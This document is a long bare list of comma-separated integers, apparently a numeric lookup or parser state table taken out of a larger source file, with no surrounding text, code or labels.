28936,19803,24035,24035,32047,24035,26576,23114,23114,27544,23114,33811,22468,23511,23511,32161,23511,23512,32066,24035,33313,24035,24035,24035,23113,27426,32102,23114,23114,28618,32125,23511,32144,23511,23511,33569,20402,24035,27045,24035,24036,23114,23114,28328,23114,30076,32177,23511,23511,30384,23511,30562,24035,24035,24035,26576,23114,23114,23114,23595,32212,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,22635,25753,32233,32257,32277,19829,26577,26597,20211,23008,19876,32322,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,32352,35285,32380,34196,33016,30661,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,32404,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,32422,23511,23511,23511,23511,23512,24694,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,30269,29700,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,19949,24035,23111,32455,19874,31269,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36337,19552,19209,21617,26509,32475,32491,32529,29939,24035,32578,25241,32597,23114,32634,29007,32656,22420,23511,32729,26365,32751,28306,32788,32882,24035,24035,32813,36727,23114,33182,23114,27553,33235,32829,23511,32706,23511,28906,28377,26962,32881,32904,32898,32920,24035,32953,23114,32977,26408,23114,28164,33006,23511,33039,35774,23511,32306,20402,33076,30872,24035,24036,25408,33110,28979,23114,23029,20271,35835,33130,33054,23511,30562,33148,24035,24035,33167,23114,23114,33775,23036,20459,23511,23511,25464,24646,24035,24035,22446,23114,23114,25627,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,31391,33204,33220,33251,33287,26577,26597,20211,33329,19876,33345,23007,20046,20132,26578,27685,28473,22599,31691,33411,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,35959,19288,21907,27243,29843,32618,33427,31507,29939,33460,34090,24035,24036,33493,24416,33530,23114,22420,33548,24379,33585,23511,28306,19803,33603,24202,24035,24035,25593,33749,28205,23114,23114,32388,22468,33853,33060,23511,23511,31339,33621,24035,24035,34397,24618,30757,33663,23114,23114,33683,35684,28618,26678,23511,23511,32506,33699,34585,20402,24035,32562,26973,24036,23114,23114,33377,33773,23029,20271,23511,23511,30621,23511,23860,24035,33791,21553,26576,36558,23114,33809,23036,32857,26047,23511,33827,23634,24035,24035,23110,23114,23114,31252,23511,33845,23628,24035,24459,23111,23114,33869,27078,30791,29783,24035,24742,19872,33895,23266,26462,19710,33879,33919,26577,26597,24123,24930,21930,20208,30501,33953,25268,20252,33983,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36322,19552,23390,33634,35154,34008,34024,34058,35544,34106,34128,26811,33151,34144,34169,34212,23114,34228,34244,34278,34315,23511,34331,34347,34380,34413,24035,24663,26576,34429,34453,34477,29534,33811,22468,34499,34524,34557,25170,34580,35436,23937,34601,24035,24341,26453,23113,34638,34662,23114,24236,28618,34684,34703,34729,23511,35352,34753,34799,24035,34815,32558,34848,34888,35814,34923,23165,29137,23606,30326,30730,34939,33023,30562,36848,34979,24035,24847,34996,23114,23114,35032,29695,35054,23511,23511,35091,33296,35124,24296,28235,24361,36276,32772,35067,35189,27301,30855,24852,22452,35211,35237,35316,25500,35270,23405,24304,35304,29362,24036,23114,35332,19829,26577,26597,20211,23008,19876,20208,35368,28823,23920,32336,35405,20141,24569,31691,35421,35479,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,35944,22795,21605,33647,35877,35513,30962,35529,34073,35557,24035,24035,20405,31107,23114,23114,23114,35590,34713,23511,23511,23511,35641,19803,29408,32937,25298,24035,35657,23115,27849,24760,35679,26205,22468,23511,35700,24907,24901,35075,31893,34980,24035,24035,24035,24035,23113,35009,23114,23114,23114,28618,35716,30970,23511,23511,23511,34585,23215,24035,24035,24035,24036,35735,23114,23114,23114,27105,35756,35790,23511,23511,23511,35254,35446,24035,24035,31223,35809,23114,23114,23036,36825,35830,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,31031,20355,19872,33903,23266,24036,23114,28686,19829,26577,26597,20211,23008,23424,20208,24711,31065,24486,26578,27685,20141,19773,35851,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36307,19288,21605,35494,19702,32618,33437,31507,29939,25117,24035,27939,24036,27869,23114,26829,23114,22420,23494,23511,33132,23511,28306,19803,24035,34832,24035,24035,26576,23114,25153,23114,23114,33811,22468,23511,23511,35911,23511,23512,24694,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,35929,19288,21605,25860,23112,36185,23511,36201,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,23512,26748,24035,24035,24035,24035,24035,36249,23114,23114,23114,23114,28618,28835,23511,23511,23511,23511,34585,20402,24035,27151,24035,26760,23114,27989,23114,23114,36268,20271,23511,24436,23511,29703,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36292,19288,21605,36503,21922,32618,34534,31507,36522,24035,33793,24035,35864,23114,23114,36555,23417,22420,23511,23511,36574,26020,28306,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,23512,36592,24035,24035,36625,24035,24035,23113,23114,32961,23114,23114,29618,29700,23511,29086,23511,23511,34585,20402,36644,24035,24035,24036,29740,23114,23114,23114,29065,36663,31527,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,31451,23112,36684,23511,36700,29939,24035,24035,24035,30185,23114,23114,23114,27526,22420,23511,23511,23511,32865,28306,19803,36743,24035,27017,24035,26576,27535,23114,31432,23114,33811,22468,33271,23511,32128,23511,23512,24694,24035,27196,24035,24035,24035,23113,32459,23114,23114,23114,28618,29700,33829,36762,23511,23511,34585,20402,24035,36746,24035,29722,23114,23114,34437,23114,34907,20271,23511,23511,18801,23511,23206,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,36837,24035,24035,33739,23114,23114,25094,23511,23261,23628,24035,36780,23111,24073,19874,27078,35344,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22720,19288,36799,36866,17466,36890,36864,21991,22211,22987,17556,17575,22288,17486,17509,17525,18373,17631,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,36883,36906,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22705,19288,19457,36866,17466,36890,36866,19375,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36124,19288,36951,36866,17466,36890,36866,21991,22404,22987,17556,17575,22288,17486,17509,17525,18373,18567,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,36979,36995,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36139,19288,19457,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18027,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36139,19288,21529,24035,23112,23033,23511,31507,25377,24035,24035,24035,24036,23114,23114,23114,23114,37040,23511,23511,23511,23511,28086,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,24254,37079,23511,23511,23511,23511,23512,34766,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,37112,37160,18469,36866,17466,36890,36866,17656,37174,22987,17556,17575,22288,17486,17509,17525,18373,18537,22984,17553,17572,22285,18780,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,36883,36906,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,53264,18,49172,57366,24,8192,28,102432,127011,110630,114730,106539,127011,127011,127011,53264,18,18,0,0,57366,0,24,24,24,0,28,28,28,28,102432,0,0,127011,0,2220032,110630,0,0,0,114730,106539,0,2170880,2170880,2170880,2170880,0,0,0,2170880,2170880,2170880,3002368,2170880,2170880,2170880,2170880,2170880,2170880,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2576384,2215936,2215936,2215936,2416640,2424832,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2543616,2215936,2215936,2215936,2215936,2215936,2629632,2215936,2617344,2215936,2215936,2215936,2215936,2215936,2215936,2691072,2215936,2707456,2215936,2715648,2215936,2723840,2764800,2215936,2215936,2797568,2215936,2822144,2215936,2215936,2854912,2215936,2215936,2215936,2912256,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,180224,0,0,2174976,0,0,2170880,2617344,2170880,2170880,2170880,2170880,2170880,2170880,2691072,2170880,2707456,2170880,2715648,2170880,2723840,2764800,2170880,2170880,2797568,2170880,2170880,2797568,2170880,2822144,2170880,2170880,2854912,2170880,2170880,2170880,2912256,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2215936,2215936,2215936,2215936,2609152,2215936,2215936,2215936,2215936,2215936,2215936,2654208,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,184599,280,0,2174976,0,0,2215936,3117056,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,544,0,546,0,0,2179072,0,0,0,552,0,0,2170880,2170880,2170880,3117056,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,0,0,0,2158592,2158592,2232320,2232320,0,2240512,2240512,0,0,0,644,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,3129344,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2215936,2215936,2215936,2400256,2215936,2215936,2215936,2215936,2711552,2170880,2170880,2170880,2170880,2170880,2760704,2768896,2789376,2813952,2170880,2170880,2170880,2875392,2904064,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2453504,2457600,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,167936,0,0,0,0,2174976,0,0,2215936,2215936,2514944,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2592768,2215936,2215936,2215936,2215936,2215936,2215936,2215936,32768,0,0,0,0,0,2174976,32768,0,2633728,2215936,2215936,2215936,2215936,2215936,2215936,2711552,2215936,2215936,2215936,2215936,2215936,2760704,2768896,2789376,2813952,2215936,2215936,2215936,2875392,2904064,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,0,0,0,2174976,0,65819,2215936,2215936,3031040,2215936,3055616,2215936,2215936,2215936,2215936,3092480,2215936,2215936,3125248,2215936,2215936,2215936,2215936,2215936,2215936,3002368,2215936,2215936,2170880,2170880,2494464,2170880,2170880,0,0,2215936,2215936,2215936,2215936,2215936,2215936,3198976,2215936,0,0,0,0,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,0,0,0,2379776,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2445312,2170880,2465792,2473984,2170880,2170880,2170880,2170880,2170880,2170880,2523136,2170880,2170880,2641920,2170880,2170880,2170880,2699264,2170880,2727936,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2879488,2170880,2916352,2170880,2170880,2170880,2879488,2170880,2916352,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3026944,2170880,2170880,3063808,2170880,2170880,3112960,2170880,2170880,3133440,2170880,2170880,3112960,2170880,2170880,3133440,2170880,2170880,2170880,3162112,2170880,2170880,3182592,3186688,2170880,2379776,2215936,2523136,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2596864,2215936,2621440,2215936,2215936,2641920,2215936,2215936,0,0,0,0,0,0,2179072,548,0,0,0,0,287,2170880,0,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3117056,2170880,2170880,2170880,2170880,2215936,2215936,2699264,2215936,2727936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2879488,2215936,2916352,2215936,2215936,0,0,0,0,188416,0,2179072,0,0,0,0,0,287,2170880,0,2171019,2171019,2171019,2400395,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3031179,2171019,3055755,2171019,2171019,2215936,3133440,2215936,2215936,2215936,3162112,2215936,2215936,3182592,3186688,2215936,0,0,0,0,0,0,0,0,0,0,2171019,2171019,2171019,2171019,2171019,2171019,2523275,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2597003,2171019,2621579,2170880,2170880,2170880,3162112,2170880,2170880,3182592,3186688,2170880,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,0,18,18,24,24,0,4337664,28,2170880,2170880,2170880,2629632,2170880,2170880,2170880,2170880,2719744,2744320,2170880,2170880,2170880,2834432,2838528,2170880,2908160,2170880,2170880,2936832,2215936,2215936,2215936,2215936,2719744,2744320,2215936,2215936,2215936,2834432,2838528,2215936,2908160,2215936,2215936,2936832,2215936,2215936,2985984,2215936,2994176,2215936,2215936,3014656,2215936,3059712,3076096,3088384,2215936,2215936,2215936,2215936,2215936